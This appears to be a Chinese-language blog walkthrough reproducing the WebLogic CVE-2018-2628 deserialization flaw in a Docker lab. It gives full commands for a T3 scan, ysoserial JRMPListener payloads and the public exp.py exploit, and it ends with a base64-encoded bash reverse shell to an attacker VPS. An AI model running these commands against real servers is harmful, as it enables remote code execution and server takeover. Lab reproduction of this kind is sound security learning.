Weblogic-CVE-2018-2628漏洞复现
前置知识:
一、Java 基础概念
1.Java 反序列化 :它是将对象状态转换为字节流的过程,反序列化则是将字节流恢复为对象的过程。
2.RMI(远程方法调用)与 JRMP
RMI:Java 提供的跨 JVM 远程方法调用技术,基于 JRMP(Java Remote Method Protocol) 实现通信。
JRMP 作用:在 RMI 中,JRMP 负责传输序列化对象(包括类名、方法名、参数等),可利用该协议传递恶意序列化数据。
3.WebLogic 核心组件
T3 协议:WebLogic 用于服务器间通信的私有协议,基于 JRMP 实现,支持序列化对象传输。
IIOP 协议:WebLogic 支持的 CORBA 协议,同样可用于传输序列化对象
二、漏洞利用链相关知识
1.ysoserial 工具
作用:用于生成针对 Java 反序列化漏洞的恶意 payload,内置多种利用链(如 CommonsCollections1、JRMPClient 等)。
核心原理:通过构造特定的 Java 类调用链,触发目标系统的反序列化漏洞,执行任意命令。
漏洞背景:
披露时间:2018 年 4 月,Oracle 官方补丁修复。
影响版本:WebLogic 10.3.6.0、12.1.3.0、12.2.1.2 及以下版本。
类型:反序列化漏洞(通过 T3/IIOP 协议触发)。
危害:攻击者可远程执行任意代码,控制服务器(如窃取数据、植入后门等)。
漏洞复现:
weblogic server的IP:42.192.204.116
攻击者vps的IP:74.48.194.203
通过docker启动靶场,然后访问7001端口的console路径会显示如下页面说明靶场正常启动。

通过kali看看是否开启了T3服务。命令: nmap -T4 -sV -O -p 7001 --script weblogic-t3-info 42.192.204.116

从扫描结果可以看出目标主机已开启T3服务
漏洞利用1-写文件
首先在vps上启动ysoserial工具的JPMP Server服务,端口是9999,并且通过CommonsCollections1链创建一个名为ZyonSuccess文件。其中CommonsCollections1 是 ysoserial 中的一种 gadget 链,它的作用是在目标服务器反序列化你发过去的对象时,触发执行任意命令。
命令: java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/ZyonSuccess'

vps启动成功后去kali构造payload(exp.py脚本下载地址: https://www.exploit-db.com/exploits/44553 )
命令构成:python exp.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]
命令: python2 exp.py 42.192.204.116 7001 /home/kali/Desktop/ysoserial-all.jar 74.48.194.203 9999 JRMPClient

然后进入靶场看看有没有创建成功
命令: docker exec -it <容器id> /bin/bash 或者 docker compose exec weblogic bash

发现创建成功,证实了存在漏洞。
漏洞利用2-反弹shell
①vps(74.48.194.203)上开始监听: nc -lnvp 8888 ,出现: Listening on 0.0.0.0 8888 说明开启成功。
②启动 JRMPListener(提供恶意对象)
反弹shell的构造: bash -i >& /dev/tcp/远端vps-ip/8888 0>&1 ,由于Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,所以我们使用base64的反弹shell形式,具体如下: bash -c {echo,上面反弹shell的base64编码}|{base64,-d}|{bash,-i}
最终在vps(74.48.194.203)上的命令: java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC83NC40OC4xOTQuMjAzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}'

出现整个红框说明监听成功。
③发送JRMP exploit(触发漏洞),然后攻击机kali上构造payload。
攻击者kali上的命令: python2 exp.py 42.192.204.116 7001 /home/kali/Desktop/ysoserial-all.jar 74.48.194.203 9999 JRMPClient

然后回到nc监听窗口,发现反弹shell了。如下图:

成功得到shell环境。
漏洞分析:
根本原因:


浙公网安备 33010602011771号